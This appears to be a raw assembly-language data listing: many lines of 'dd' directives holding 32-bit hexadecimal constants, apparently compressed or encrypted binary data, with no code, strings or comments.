dd 0BF9BE929h, 46AFB107h, 0D81A21FEh, 70AD9A0Ah, 80CC2463h
dd 0AC765DBh, 0B7E5D835h, 0D8CD45F0h, 0E0095768h, 70A615Ah
dd 22A94EE6h, 29520B18h, 5F8C8804h, 0E0240212h, 250A49Ch
dd 8408A4E7h, 50EA2136h, 0BB114822h, 7DD3BCC0h, 0C0FDB101h
dd 61D1F3CAh, 330442Ah, 90C95374h, 13AF11D0h, 0D0D9FAFEh
dd 0A1332B14h, 575C792Eh, 82940B00h, 9C44233Eh, 4C0D08F4h
dd 28BCA69Eh, 0FC4B080Bh, 87987442h, 0B0884609h, 840A3A98h
dd 2D340509h, 90EE54CCh, 6F163Ch, 6B86C921h, 0EA311DE4h
dd 3046823Fh, 5688758h, 304169C3h, 8F40EF00h, 259EA056h
dd 50682E5Ch, 44845F0Bh, 77008083h, 0EC5608Ch, 2B5EEDAh
dd 1825F2AAh, 0E851A816h, 1504AF80h, 0D76D87h, 7D3A3DBDh
dd 2DA4AD5h, 7323320Ah, 0F006CC2h, 610DFD5Bh, 0CCD75C80h
dd 8E9F68A7h, 6DB8DA40h, 2DC4CD7Fh, 4811636Ch, 17C76E2h
dd 750E592Eh, 0B4ECDCB6h, 0FE130007h, 0E5356E1Ah, 2D413DD7h
dd 8970E1CEh, 0A6E91F13h, 4039AFh, 0DBE5C397h, 0EE938A2h
dd 0F1F36240h, 982A6125h, 85450B9Ch, 8AA41C20h, 0DDA4E07Fh
dd 430103CFh, 7E282942h, 75E8E6CDh, 0E0108700h, 69842154h
dd 244300B6h, 0CA732ADh, 0CB121993h, 8C213486h, 0E1108CAAh
dd 8403AD77h, 0DF36163h, 0D0A2F56Dh, 10088CC0h, 840173B4h
dd 0B95FB7DFh, 4069DDF4h, 0EBC62400h, 0A5623565h, 9B5744h
dd 0D249AB82h, 4EF14A2h, 0D0ACA100h, 0B27F675Ah, 0BE1490C7h
dd 89B76034h, 7100FA7Bh, 4E412ACh, 200F39EDh, 58F68B11h
dd 768E588h, 0A20B64D0h, 4CC8406Dh, 9A00D524h, 0D76615B2h
dd 4E0C2A1h, 5E43855Dh, 2B38C814h, 4917C309h, 0D9F010A1h
dd 9F9B0F4Ah, 2979D1D0h, 422E5h, 0E70431B5h, 0BD391Dh
dd 1CFCCBC0h, 0B8D1CC7Dh, 64980753h, 4E405FA0h, 0D45C6F6Eh
dd 2D6AC300h, 275D41E1h, 28DD00A3h, 4761FE1Eh, 0DC025CDEh
dd 806F423Eh, 600D3F9h, 51822557h, 17316A3Ch, 0EC28C0DEh
dd 18BC029Ah, 0DA23BD94h, 5C514484h, 5C4D3A01h, 35E833FCh
dd 8B60027h, 0BEB552A9h, 802F0BCAh, 5B8498CBh, 940A02Ch
dd 0EC358981h, 0CC2613FBh, 0F7E068D6h, 4E6289Eh, 0BB62BAC9h
dd 0E708802Ah, 0B229ABB7h, 8511A8F3h, 59CDE600h, 1025D691h
dd 38A9C62Ch, 1CDF0440h, 3840078Bh, 90F8AA51h, 0F585FDB8h
dd 60A00519h, 0D05C3628h, 0F1CC00B2h, 0D465159Fh, 0B45C26FFh
dd 12B30BE7h, 40EC42D7h, 844ECF84h, 0D9069637h, 0F821A18Dh
dd 24571000h, 176A898Eh, 0C29F0442h, 4C14F2BCh, 83C32C35h
dd 0C6E012A8h, 5612BFFFh, 88923319h, 11EC2A81h, 92977C88h
dd 0BC5C56B0h, 29F50D4h, 79A96272h, 622294Dh, 0CE121152h
dd 0B2608929h, 75A86154h, 0AC39D017h, 7B00BEC0h, 2AFD97D1h
dd 0A3B5540Fh, 31D90997h, 9894F47Fh, 349244h, 2B02A2C1h
dd 0F840CBFFh, 0B90DB43Bh, 0B009AF53h, 71DA0E0h, 72BAF1DCh
dd 9D1B80BBh, 10132E6Ah, 0E4913D9Bh, 0D108C02h, 0AD4A91B8h
dd 0AFEFF860h, 326B0C0Ch, 5E04DF3h, 77DC7953h, 0CD2B0484h
dd 0CCBD5EC5h, 834416C4h, 1A0B0C73h, 35E91CE7h, 6C213D5Eh
dd 0E5CB7996h, 0B601E4A6h, 0E18FFEF3h, 29C5D06Dh, 70D9C800h
dd 50F61939h, 0A074B94Dh, 47F95834h, 727A2202h, 80E4B120h
dd 79711002h, 0C0B93192h, 34B4BF59h, 0B268EFE8h, 0CAC401E4h
dd 0CF0AE397h, 9B089988h, 0D7403C44h, 8051CE0Fh, 0F56DCA0Eh
dd 136E84C7h, 52E09681h, 0EC35F852h, 43A20044h, 2F4710D2h
dd 3F0C5DE2h, 7994AED3h, 6AC600A0h, 11BC5FA7h, 0D404BF36h
dd 0D9CD18CEh, 79B0B4h, 76EF7114h, 60E37C85h, 84EC6358h
dd 36458F16h, 0FCE38Ch, 2239584h, 76A055B4h, 823D0021h
dd 3B58E381h, 0F8AE9060h, 5C08ADF2h, 204192B6h, 7F5F4428h
dd 64402702h, 400E3A44h, 0DF580Dh, 26F83960h, 26D3FD3h
dd 5CA2977Dh, 990E04D8h, 0EC0E66DFh, 7F7FA9F1h, 0B204E3AAh
dd 0A0A29354h, 6680533Fh, 972BE922h, 2879F7E1h, 2CCCEB3Bh
dd 390C2C08h, 981269A8h, 0E07496C8h, 8E330B27h, 4A03039h
dd 62748455h, 7B4866C2h, 0C59B00D0h, 38C060F3h, 0FF4A4500h
dd 0C37791FAh, 3FDA07FCh, 39D58476h, 8F4FB461h, 0A2882E61h
dd 0E4855A9Ah, 2C707A80h, 2CFB9FE2h, 0F207E2B8h, 0B7274F40h
dd 0C48670Fh, 0E0C442C8h, 5CC4B3h, 879FC224h, 64F4F337h
dd 2B82AF17h, 28303452h, 447C291h, 57AFF608h, 3674E0F1h
dd 396C9E51h, 0CB007458h, 59BB18E0h, 25B735BCh, 7C14083Bh
dd 0DB10A404h, 6CD1ABEBh, 7088013h, 0BEE14D44h, 0E954A4BCh
dd 0FC5650B2h, 0AC660F9Fh, 0F57805CBh, 0AA80F4A2h, 13A9D2C6h
dd 6DC02D00h, 4EBBE56Fh, 0C2EB0227h, 0D457C1B1h, 0A6DAD490h
dd 0C4307300h, 251FF9BBh, 0D83C006Eh, 2B6F202Ah, 0AC02B219h
dd 4684566h, 0A4D0598Ch, 0C1DE1E4Ch, 50D37BF3h, 0D200381Fh
dd 59ECC8h, 3DE1044Ah, 55B0D2BEh, 0D0F99C62h, 1962192h
dd 38382A8Bh, 0D01C9536h, 0F40014B9h, 0AFD5B9E4h, 33E70145h
dd 3132FC8Fh, 0F70BCCCDh, 0C79CF00Ch, 9D0249EAh, 0A07CA494h
dd 64DF4C00h, 0E2F87C94h, 4953009Ah, 0E50A9BD4h, 8C53379Ch
dd 170E21D0h, 0A80D232h, 27AF5C59h, 0C1EB06C8h, 707731F4h
dd 4BF9A800h, 599231Ch, 590C59C9h, 0B0E16248h, 0F100C064h
dd 0B701788Ch, 38CA4214h, 4B119C7Fh, 125878Fh, 48BECB82h
dd 158E2E8h, 6BD4CD9Dh, 8C3129C0h, 5985ACA1h, 21620AFBh
dd 93C8BC20h, 8CA06h, 9ACBDDB7h, 693885DFh, 1824F12Fh
dd 3436443Ch, 960C9CE2h, 2D498E0Ah, 68AF9E27h, 0AB2048h
dd 7C0AF1A3h, 0DF1B2AE5h, 80E9703Ah, 0D00379FBh, 4B806134h
dd 47283015h, 6B889CE0h, 3A0A00A5h, 0A4BFDC66h, 0AB00EEB3h
dd 6B472E0h, 18D075F3h, 310A8788h, 0F836648Dh, 0A518512Ah
dd 94CB08C4h, 149D48A8h, 77EB0150h, 0FB601197h, 11A47D8Ch
dd 0E04136CFh, 0AAA1C03Ch, 0D8853B7Dh, 52F09Ch, 599A961Eh
dd 4CA07811h, 0E4696401h, 0D832FD16h, 0B0202025h, 556749Bh
dd 17985AF0h, 44B0612Ah, 4885088Bh, 4F224448h, 8E4D3C90h
dd 199C8C24h, 3887450Fh, 0E6448098h, 5F08CDFAh, 0E69C525Ch
dd 1C8496Ch, 1A5755BFh, 0C3064D4h, 0CE2804F0h, 0F72DDD6Ch
dd 396129Ch, 86CC1488h, 7C0842h, 0DF5E7945h, 0DCD786C8h
dd 83F097E8h, 5C5308C1h, 2082988Fh, 0DEEFF8D9h, 297C3107h
dd 60290768h, 11FF772Fh, 81A66351h, 2BE7F18h, 0D6D02A44h
dd 49FA003Fh, 28DF5C35h, 0A706DB19h, 0D7365DFDh, 64EB0049h
dd 0D22931A8h, 7C6F4D24h, 1A003169h, 4E96F56Ch, 0FEE2AF89h
dd 1D684558h, 0DE86C232h, 302852F1h, 0DF08D9F4h, 750F3F40h
dd 8530AA7Eh, 9FB0D84Bh, 0D1EE63B7h, 1A42DFEh, 0BC4387BEh
dd 33EA7A20h, 9318BB33h, 86282800h, 877185ABh, 0C31DFDAh
dd 0B271A322h, 0A48490A8h, 0B7320B00h, 85CAB819h, 0EED9011Dh
dd 0EBA2437Eh, 843099D6h, 0A440E240h, 895AED37h, 0D25184DFh
dd 20187E42h, 610846B6h, 0A227CC5Ch, 0EF3130CCh, 0E17EE039h
dd 0F3A70300h, 875363DFh, 9CACC13Ah, 5C835095h, 0B43848D8h
dd 5D858EEEh, 7DB74225h, 0A4800E96h, 6735AAD5h, 7028DA28h
dd 2DA1C167h, 685B9AE0h, 530B81DDh, 0B19620F4h, 66058703h
dd 0B8ED837Eh, 1F1C1581h
dd 0CA24F1D3h, 5180A329h, 13DACD86h, 0F869F6D2h, 0C314888h
dd 4E0C8680h, 147A73F6h, 8F381E66h, 886F5528h, 4434A818h
dd 1E079FEBh, 0F0B29331h, 79D76370h, 990C006Dh, 5DE77F1Fh
dd 230FBE3Fh, 0C8896684h, 0F4993C87h, 0E85789FDh, 0B37170D3h
dd 1A4EED1Fh, 0C044B8CFh, 0D97F7972h, 8504917h, 643128h
dd 147DD484h, 3355A5ACh, 29DF44h, 0B1269C43h, 0D1E27A79h
dd 5C556BF0h, 2087DCF4h, 9501FCA4h, 6893B626h, 1D836F8h
dd 0A0C7485Ah, 5F57E400h, 0C1B00C31h, 0EDD58611h, 4D004453h
dd 7AE7B530h, 3B7C495Bh, 86ABAF2Eh, 38E5D900h, 0EDDCFCDBh
dd 9158E560h, 2FDA8098h, 0FCB3432Eh, 29CB5700h, 0D1BE23A1h
dd 3E37901h, 0B2C2ED42h, 21D088C1h, 0E0013B0h, 199328DDh
dd 17D73ABh, 86A375E6h, 33C8E8D6h, 0FB180C04h, 0E969F4h
dd 0D40113ADh, 31891C77h, 7C2BB007h, 804A9920h, 9C579C0Ah
dd 1F804F87h, 0D8198D00h, 0A1D7309Fh, 4599E118h, 0B5621A0Fh
dd 603213C1h, 727F20DAh, 0A000DC33h, 5CBC3803h, 0CD2506Eh
dd 2D9CF74Fh, 4000B361h, 0A370FA73h, 6461988h, 3338727Ch
dd 0BB0049D4h, 8F068E30h, 7AF135Bh, 0D1B9A383h, 58E0B0A8h
dd 1703282Dh, 14D9C115h, 53593856h, 18D2ECC8h, 0CD4219FCh
dd 2C6F7312h, 0C45E2D1Eh, 10E30540h, 2DD6E33h, 731B47D7h
dd 2E4071B6h, 20377E02h, 0BF40E180h, 9880856h, 338239CEh
dd 0C09B7818h, 247DF700h, 0ADE86F05h, 77A0052h, 0ED0A2892h
dd 951D04ABh, 358026C7h, 820E483Dh, 0D9DD13F6h, 468430F9h
dd 4B00EE79h, 0B5A87DE7h, 6275F50h, 9CC1B6B3h, 9F5C2958h
dd 80DE3CEFh, 0BEC76930h, 0DC815B2Dh, 225740A9h, 0AA646199h
dd 15FA0A00h, 7C0CDB3Bh, 0D6D91D24h, 0FB7B4048h, 7A6039EDh
dd 7B83152h, 0F788BB59h, 0FDE29560h, 7BDA26E6h, 84726060h
dd 40006CE5h, 0EE608E6Eh, 9A5C1FD5h, 1376FA88h, 5F8188h
dd 4D5DC9DCh, 0B278374Bh, 4E92100Fh, 7827D6D2h, 0D97CBCC0h
dd 29AF74CEh, 0E09DEAh, 0CC2EB855h, 4301B2E2h, 0C09F5457h
dd 906429FBh, 425B24E6h, 81934440h, 100E9A88h, 0C3D53329h
dd 0B239D2B1h, 68FFF6F8h, 0B59F6600h, 49ECE853h, 54ED122Dh
dd 281440C2h, 5CD2BB34h, 0E7507251h, 1707D978h, 68781E35h
dd 0BB6C16C0h, 7E7AD4h, 5BED541Ah, 0F4CCBE29h, 0AA24A3Ah
dd 88C5CF9Eh, 90105500h, 0B0A39F2Fh, 34F500BCh, 9A8E7E4Bh
dd 0AD64DC38h, 0BE5D29F8h, 0D320AF00h, 3EA017C2h, 0F7EF5F09h
dd 898C00DCh, 46FDBB4h, 0B8DFB68Ch, 0CDF09098h, 0A3501659h
dd 5380DBC4h, 0D9F76554h, 0BF10885Bh, 16013DF6h, 0C1EF910Ah
dd 0C460B48Fh, 0DE9D22FFh, 80F1F46Fh, 0C1F989FEh, 0B3C22C2Fh
dd 86A16044h, 0BC006876h, 3282BB2Ah, 90B777C0h, 3E564450h
dd 0BDBAF800h, 0C8C3AF5h, 5B8411C2h, 7F371280h, 69CEE11Dh
dd 0E0788A17h, 0A911EE08h, 0BC8D8ED8h, 806D9624h, 0FD544059h
dd 0C1DB6A00h, 24F04FE2h, 0E3F22C7Bh, 0CB7F000Ch, 865B7CB5h
dd 0A0F769C2h, 2D76601Ch, 0FB3B1C60h, 90D5803Fh, 828EEBB5h
dd 88BA477Fh, 7568A5Ch, 252C7AA0h, 0FB7D7C50h, 96093DBAh
dd 0C09DE103h, 990A5403h, 88C35953h, 0E3370B84h, 9E6788C0h
dd 0C81F88B6h, 0F7BE8C1Ch, 22800CECh, 16C07FF0h, 34B000FBh
dd 846D3320h, 6A0006D9h, 0F224B1C6h, 3E914A7Dh, 1182753h
dd 0EC317189h, 67BF01E9h, 0F4BC8h, 64E12960h, 783CF4C9h
dd 0A3614502h, 40BEA26Fh, 48DFFB18h, 0F4891458h, 0DAE70810h
dd 0D99D800h, 33926D3Bh, 0A20638B7h, 8B1F8F85h, 558CC16Fh
dd 882810A4h, 7D4314E6h, 309488CCh, 7C11FA21h, 87B82F00h
dd 0C2DD61EEh, 0DA1108B0h, 1444C3A3h, 214C009Ah, 61DB4F6Ah
dd 0BC0135B7h, 0A1B14D7Fh, 87117EBh, 5A585810h, 12BA003Ah
dd 3D246E4Bh, 88037592h, 0EFBFFAA3h, 0C96810C2h, 458400C8h
dd 0D9DB8C11h, 0D86755FBh, 285808h, 0A984A386h, 0F91E1AC0h
dd 9AD93401h, 0DCD2878Fh, 0F05B2440h, 6982083Fh, 378054A0h
dd 1C0A8F3Bh, 8ECD0330h, 0BA6C2288h, 0E940EEEBh, 0E08B7E88h
dd 71E29C2Fh, 59D0F5B0h, 5AAE1B65h, 0D49159BCh, 0F47192E7h
dd 64D1420h, 6A5100A0h, 59CFB97Fh, 2C00DE03h, 32C414DCh
dd 25995D90h, 54105FD1h, 0F80E49EDh, 4C8AA381h, 89C590BEh
dd 4952F5D9h, 15DEE584h, 195C3C0Ch, 0D69EC31h, 76D1E392h
dd 0E1F46021h, 875B4318h, 14F5311h, 7A41558Ch, 0E84E52E5h
dd 0B60430EBh, 0BB4C3484h, 20C020C2h, 713329Fh, 0F78B2304h
dd 0F8C0B5A3h, 0C59B495h, 9443D256h, 0C6054759h, 0AD874F7Ch
dd 7D88C020h, 7EE22CA2h, 0D11E0F10h, 8631784Ch, 49B9D86Fh
dd 3650057Ch, 4072F4DCh, 7F4CBE6Ah, 47A1C380h, 0B6898E2h
dd 74D25C46h, 149BAC0h, 85E0FF6Fh, 5CB6350Fh, 60C96C23h
dd 0DDDE2286h, 8C96B8C8h, 1F41539Ch, 0C0727100h, 679EA88Bh
dd 9827631h, 6591D135h, 0FE0B6CA3h, 885BD6B8h, 0E77C41CFh
dd 0F2408BE7h, 2E4C697h, 0CCED706Dh, 4E61B3ECh, 0FC1070D3h
dd 28DE8222h, 304048D2h, 0D419109Fh, 0E0004D13h, 4A8BAD3Eh
dd 0FE095Ah, 66D1ED71h, 6221D935h, 37A489C5h, 7C61908Ch
dd 25FC0051h, 35462106h, 9574D07Eh, 0E89F5F26h, 0E3DD2740h
dd 70B7588Bh, 0EB5B317h, 29C137C4h, 52BB0BDEh, 0E098DF94h
dd 0C70D1BEh, 0DBCA30Ch, 819D2h, 0CEBB8203h, 0AD61A80Eh
dd 5758040Fh, 1CA6214Bh, 3C83C8DAh, 7E3B527Fh, 2CC043A3h
dd 997CAD49h, 18B023FDh, 0F428C909h, 0F1070196h, 0A3A12AA2h
dd 84EC634h, 7D8967F8h, 0C080BCC5h, 0DACFE10h, 5800E287h
dd 34176C7Fh, 1852A29Bh, 188681A9h, 9FFA24D2h, 0D70A7C96h
dd 1F00E4C5h, 2FC9D982h, 891000DCh, 8148DB9Bh, 79D235D5h
dd 4A6488h, 146B3893h, 219AA322h, 0A45B9F00h, 33318F6Eh
dd 0C5F496C8h, 7F728049h, 0EF48EE77h, 281960DDh, 1284BB37h
dd 304762A3h, 1C3252B4h, 0FD05BF00h, 3A4E4837h, 0C68E00A9h
dd 0B1E7E9Ah, 7D0FBB56h, 3F4CB443h, 11088C82h, 585040EEh
dd 47F4AC7h, 4654FE44h, 4899D831h, 25245410h, 0C60302C8h
dd 0AC486036h, 0FCA03273h, 43044E6Ch, 5B5142D2h, 0DCD4D091h
dd 0ACCD8710h, 0D859EF16h, 3BD1828h, 280908EAh, 8CE89DD9h
dd 449AC531h, 0C0E47E58h, 49D26DAAh, 5FAD003Fh, 0BB6861B5h
dd 0E7004F90h, 0BD8798F3h, 1D6D9CFh, 0C6CD43ECh, 42CA5AEFh
dd 0B7208738h, 41389h, 0BDD663E1h, 1CDE0F78h, 6943A31Ch
dd 5CAD86CAh, 0C1D37B85h, 731C7814h, 22F4B502h, 0E681E391h
dd 0FECE0068h, 7A9AA56Ch, 12041690h, 15D97FBBh, 0B8D8A4h
dd 0DEA09942h, 0ED380296h, 59F85152h, 72AD0040h, 0A39E7E41h
dd 0FCEC0914h, 8000427Ch, 4891CFBEh, 0BB386E09h, 46E468F4h
dd 0F3530051h, 0FB6D0818h, 1400B245h, 71CC287Eh, 130CEC2Bh
dd 245ED2CBh, 0F7D80B18h, 15EA5410h, 0AA499CF2h, 1A4E0080h
dd 2539A5DBh, 17AF0DEh, 0C3FAD5AEh, 20E8F64Dh, 90C0BCACh
dd 0D45F4E14h, 601C0517h, 0D316FDA2h, 7846810h, 34005CBEh
dd 1660A64h, 107CF2C9h, 3DDC5ED0h, 67AA8088h, 0CD93A4h
dd 44C6AD4Ah, 0D11B4B8Ah, 0B9824531h, 0CC489086h, 684150D2h
dd 47F74E8Ah, 44A38F70h, 4CE889DDh, 0C700BCC0h, 0A96F9D70h
dd 2604B5BAh, 6388D650h, 5100855Bh, 4ADAC47Fh, 1B56F9h
dd 0D6AA0144h, 3B1731EBh
dd 5C26F0Bh, 0E52490F4h, 892F0E82h, 0B2C552D5h, 51EC1F25h
dd 0D61016C3h, 820B6007h, 0B9C1D376h, 0B11503B0h, 27916F79h
dd 21CC4AC5h, 48E03050h, 10BAB3F7h, 0E6A5BF00h, 7938541Ah
dd 0DAE413BDh, 0A886002Ah, 3BA9D189h, 98F28E09h, 54440A2Dh
dd 0E9920A60h, 129901BFh, 0B5E3AFC3h, 81ABF89Dh, 29C1B700h
dd 20CB76E7h, 0B07F45Dh, 0C068A592h, 40D2C282h, 9C4C3072h
dd 933D8014h, 3D032E21h, 0F7E1E8h, 65FB7668h, 317A9D74h
dd 19457CA0h, 28AD1000h, 63C12B40h, 0A7951324h, 0D2608184h
dd 882AC67Bh, 5038CA87h, 64921Bh, 7243E584h, 9D84B69Dh
dd 32440037h, 655642B1h, 52D2200h, 0D05A74E2h, 76FF0B47h
dd 748317C8h, 0F4A21D6Fh, 5200A8DAh, 890F7C25h, 0B49BFAh
dd 9E6F922Bh, 0EFD370CDh, 77919302h, 52E5698Ch, 1704907Ch
dd 3DAF43h, 0AB0AAE8Dh, 792E7345h, 0AD0DC082h, 5C31F1D6h
dd 52DBC700h, 56B80796h, 0C1C43801h, 0E1C64428h, 29E8200Ah
dd 0E813104Bh, 2270EC54h, 9DA89B79h, 81E500DAh, 0B57F0952h
dd 34FCC15Ch, 9000215Fh, 0A336EFD1h, 874E3A96h, 0B1F8F17h
dd 0E41003A0h, 6A125CB8h, 44305A0Eh, 25371DF2h, 6A7CCBBEh
dd 33384F04h, 374E4F4h, 0B0F8580Ch, 56D10275h, 0F42C206Ah
dd 4BA4B554h, 103DA58h, 0ED2854F7h, 0CCF81409h, 87230062h
dd 0D45E354Eh, 472EA3F3h, 0E3891CC3h, 0D87838F6h, 58E12C0Ch
dd 1C06084h, 0AD13B810h, 3C42BED1h, 0E17D8E16h, 0ED10D860h
dd 852D0842h, 187C09DCh, 120B7DE0h, 905CD254h, 25C6371Ch
dd 0F7C07361h, 0D903827Ch, 80B4B284h, 0A3130FCEh, 6ABC00A8h
dd 9EEE82D6h, 5DE85360h, 2989B4Ch, 0FDB0E389h, 5C7012h
dd 6E5CB637h, 51D2F0EEh, 71B5A516h, 4EE2041Eh, 0A05030C6h
dd 51030333h, 4BAF554Fh, 9DF3A80Dh, 0F28900E9h, 0D01D83F6h
dd 0DB3D3867h, 478F78Eh, 15A94301h, 7F6663C9h, 16847660h
dd 0B355853h, 0C482819Ch, 0B229DDDCh, 378CC000h, 418881F6h
dd 13309098h, 0DF190FF4h, 0A760960Fh, 192ACC9Eh, 90ABC200h
dd 0DC1ADA1h, 0B431C0D0h, 0D2A2939Ch, 10FFE001h, 781B70EFh
dd 27F02D4h, 874F845Eh, 0F02AD7D8h, 64589411h, 933C560Eh
dd 82079BE1h, 7F5840D8h, 0D101190Bh, 0BC29A2ACh, 4C7877D2h
dd 1016094h, 717C41ADh, 9C699Dh, 7F2294D4h, 926B570h, 5B2EDC63h
dd 0EA7CA410h, 0FFF7CD09h, 223C14F9h, 0E0B4271Ch, 10E87080h
dd 98813617h, 0C16F00D3h, 74E5AA18h, 680557E6h, 0C008D790h
dd 94D5A00Bh, 0CD7E01E0h, 7C5368AFh, 87B8C0D7h, 6014D551h
dd 5F44030Ch, 546CEB53h, 0CB8352C8h, 0C9272D1Fh, 57F07508h
dd 89462CABh, 0CC4512E8h, 20A855FCh, 74FCE429h, 0C5A7D81Eh
dd 200D9F09h, 235FBE88h, 0FCDE3BECh, 82513416h, 292CA8h
dd 0EFA8A9C0h, 8428AA54h, 8043ECB4h, 25F8C720h, 260092E8h
dd 0B025F4Ah, 8C63A14h, 79208851h, 8EA0D580h, 58FDEDDAh
dd 0E705CC26h, 0E46924D1h, 5614B6B8h, 378A003h, 0B1A8E983h
dd 0A86D9BD8h, 48CA4E5h, 5B28B5EBh, 83D14082h, 0C709Ch
dd 755A414Eh, 156A73BBh, 693B0A02h, 60065205h, 0C0EE31D4h
dd 0CFD034B9h, 8C00A60Bh, 0E7A219B2h, 0DC95A3h, 0EB58CC49h
dd 7FD9C3CBh, 480785Ch, 0C089BFF9h, 9C301CC5h, 13DC0821h
dd 0D564DA86h, 0DFB44868h, 9F000CA6h, 37A262C5h, 98825CE0h
dd 9422D041h, 25D0205Ah, 3200A8E7h, 11ACD72Bh, 0F2760D1Dh
dd 7CED0165h, 5EE2707Dh, 0E4E5E7A1h, 0F172D330h, 0D850D600h
dd 0A521B712h, 0FFED1DA9h, 7D0B001Bh, 589FEC3Ch, 0DE88A60Bh
dd 0E22C00FEh, 0E35B0EF6h, 0FC0BC28h, 99C960DCh, 20AE0D25h
dd 0A31910B8h, 64E4FE0h, 318420C8h, 25019290h, 0BDDA1AB3h
dd 0F3C8435Fh, 0C7972E34h, 0BC20CFC8h, 4CE53B5Ch, 0D6CD4700h
dd 3D558DFCh, 7B7C0E7Eh, 0B3E013h, 735C46E4h, 0A303FD1Ah
dd 613439A1h, 0D1881311h, 37D8935Eh, 386FCFDh, 381E5583h
dd 9E7AF0C1h, 8CA436h, 0CE0E6BCh, 4E0DAAA7h, 2EE92C00h
dd 0B623D1B8h, 39950509h, 88F7642Bh, 3D1C62FCh, 6C807FE3h
dd 0BA6D2DAh, 1830009Dh, 315F2CB6h, 2826ACDFh, 48245470h
dd 0AFAB8200h, 0B13336A2h, 226F00F0h, 9AC65B88h, 0D3A49E03h
dd 92C0F4E8h, 0ECA049FBh, 48F2D0h, 71298977h, 7EFF3B7Dh
dd 340009Eh, 1D06793h, 31A0432Ch, 20E56F9Eh, 36007037h
dd 94BB04DEh, 0B652D507h, 20551DD4h, 192FE23Ch, 0E1115A01h
dd 0E88C3CF4h, 8EE42C5Dh, 0FE6C0298h, 846C4314h, 0F5A6BA07h
dd 71C0EB3Ch, 9954538Dh, 6F1388h, 46107320h, 3E2E5FBCh
dd 1037393h, 48DEE33Ch, 8322C8F9h, 0C3A4371Fh, 5C55C780h
dd 2A3DB11h, 1534A67Fh, 8CCB4D20h, 3B806057h, 466D0079h
dd 8BC4EDE7h, 0A99F00B7h, 56B54431h, 1C9480EFh, 833A4240h
dd 701A0081h, 95D77279h, 7D71BC52h, 421457F3h, 40C03EC9h
dd 590FFF57h, 85385A92h, 14F24A56h, 10047842h, 0A2D69FFEh
dd 98DE0090h, 3A6A8802h, 491D092Ch, 9482A654h, 6312DFD5h
dd 0A97DB0ECh, 224FC26h, 0D11D52A3h, 9C23715Fh, 6E31018Ch
dd 0D38B3F01h, 0AE40CC5Ch, 0A4CEF500h, 441867D6h, 7D0D01A2h
dd 7B835033h, 4587D031h, 0D08AB92Eh, 81F1B162h, 0D03C6F81h
dd 0C0F262F1h, 54FDD9F4h, 0B4454C7Eh, 40480Ch, 9E6B2119h
dd 13000B76h, 874C553Eh, 199C2C9h, 0A63B9A5Bh, 7D3335EAh
dd 55341F74h, 0D785EC80h, 14E3DB8h, 92CCAB11h, 50064AAFh
dd 6F59BEBCh, 9905D4B0h, 0F6E117A2h, 0DE279404h, 119C4940h
dd 0A36FE0B3h, 7722D020h, 0D5EE500h, 0A75AEF9Eh, 0BB8CB7Ah
dd 0B63F0818h, 24A4602h, 0E09EA478h, 1508014h, 822286DBh
dd 29C28FDAh, 559800B4h, 7E51F2C1h, 0B60D315Fh, 4950158h
dd 0A5299408h, 0ED1C6C64h, 0E0C26845h, 60625FFAh, 5BB8DE0h
dd 15FBD9FEh, 52D091A0h, 0C0452F8Eh, 24088C06h, 0CE8B80D6h
dd 0CB860E1Ah, 0F1592C00h, 0FADC0C25h, 0D2370910h, 0AC80A3A5h
dd 0D118E624h, 10C8558h, 820D5CB6h, 0F3F5D2DEh, 0E03854DEh
dd 55D8AD39h, 4D2A091Ch, 2F6FD740h, 7B32699h, 0F55C28F0h
dd 0D447E070h, 0AA50D12Ch, 8F2839C4h, 0E62B86Ch, 5A1CFC8h
dd 402C94E5h, 643E3B5Ch, 0B4006A37h, 0DEA2BFD4h, 3BFEDC6Ch
dd 86148C08h, 2611B450h, 0DC48C3h, 0E888BA12h, 30487B90h
dd 40C05A50h, 88B6DE9Eh, 0E6D406Ch, 65142FCEh, 55F6ED40h
dd 30623E17h, 3DC2E98h, 61315B53h, 773EB8DFh, 69DC7E01h
dd 0B57D8044h, 0B9617D3h, 3A11510h, 90E2F405h, 915E1D28h
dd 2698E5F8h, 7C23431Fh, 7E810200h, 0A05BC448h, 50E3B5F0h
dd 6A3594A1h, 80981487h, 6719980Ch, 43DB0EBh, 0D4A42EB9h
dd 2A5D2238h, 187CBEh, 6B2AE583h, 0D923B355h, 70D8BF31h
dd 20E1E114h, 26429C42h, 0D1258984h, 0C964125Ch, 45F9B3B8h
dd 4C7371D8h, 92C090C0h, 0EAF49E0Ch, 4A17C200h, 1D58FE34h
dd 7CA519ACh, 2A8FC0A3h, 85C07430h, 0B0A900D6h, 74574BBDh
dd 7F01F658h, 4D411E05h, 5042E671h, 0A2720408h, 56171148h
dd 87A41900h, 4D33ADDEh, 0CECFBF0Bh, 0D2EC02FAh, 93608248h
dd 293862C5h, 9C844C08h, 0A2404010h, 0A301AF1Dh, 2BCEF056h
dd 82DC480Ch, 906C5C7Bh, 84105A2Dh, 0C0EB15E7h, 54127F68h
dd 0D831949Fh, 0A5F8EC2Fh, 0AE0EDh, 166F7CF0h, 86C3837Fh
dd 0B889D52Ah
dd 0B459D229h, 2B49D78Fh, 55706971h, 62FBE511h, 489E05D4h
dd 80EBF856h, 8D787022h, 6021D72Ch, 44109849h, 6E66385Ah
dd 4F493D07h, 0D8C341ACh, 38C4799Ch, 0AAE91CBBh, 44FE2980h
dd 2B68B8h, 70D4353Fh, 0C2BDDC87h, 0CC8F509Ch, 30C596B5h
dd 20088E3h, 73AE4941h, 0A32E17FAh, 6F024447h, 0E67CFFC9h
dd 0B11900CCh, 0A29DC7B4h, 6C0E94F3h, 89055BD0h, 14F804C1h
dd 4F20948Dh, 5F511967h, 0F35BF9DCh, 0DF494Ch, 4709B1B0h
dd 132F0BAAh, 427351EDh, 2DA06FA0h, 0D860C720h, 0DC2F3B15h
dd 0F45AA705h, 0F08AC6h, 64A022FDh, 133EFCh, 8669D7Bh
dd 99924341h, 5C909E17h, 1F1349Ch, 0A2662E62h, 498BA00Ah
dd 0A231B9D4h, 0C3DD44DEh, 7E39C200h, 0A4FE6E60h, 0E28A027Bh
dd 717D8858h, 0DA40685Eh, 1E1B324h, 81EE49BAh, 60B2FD53h
dd 5CA12310h, 88381085h, 600C009Dh, 0FE50A404h, 5FE4F0D2h
dd 0B4C49100h, 0E6C68D57h, 5CD52281h, 1A6F842Ch, 101DD316h
dd 0EE11E1h, 6B53392Dh, 0F9A7C6h, 94081AC5h, 4181BDFAh
dd 0DDA88507h, 1004DF83h, 22FF88D2h, 5CC5FCD9h, 39D37E80h
dd 24E96D45h, 3DCCB918h, 0A1EE8644h, 0A37F29C0h, 7087DD7Ah
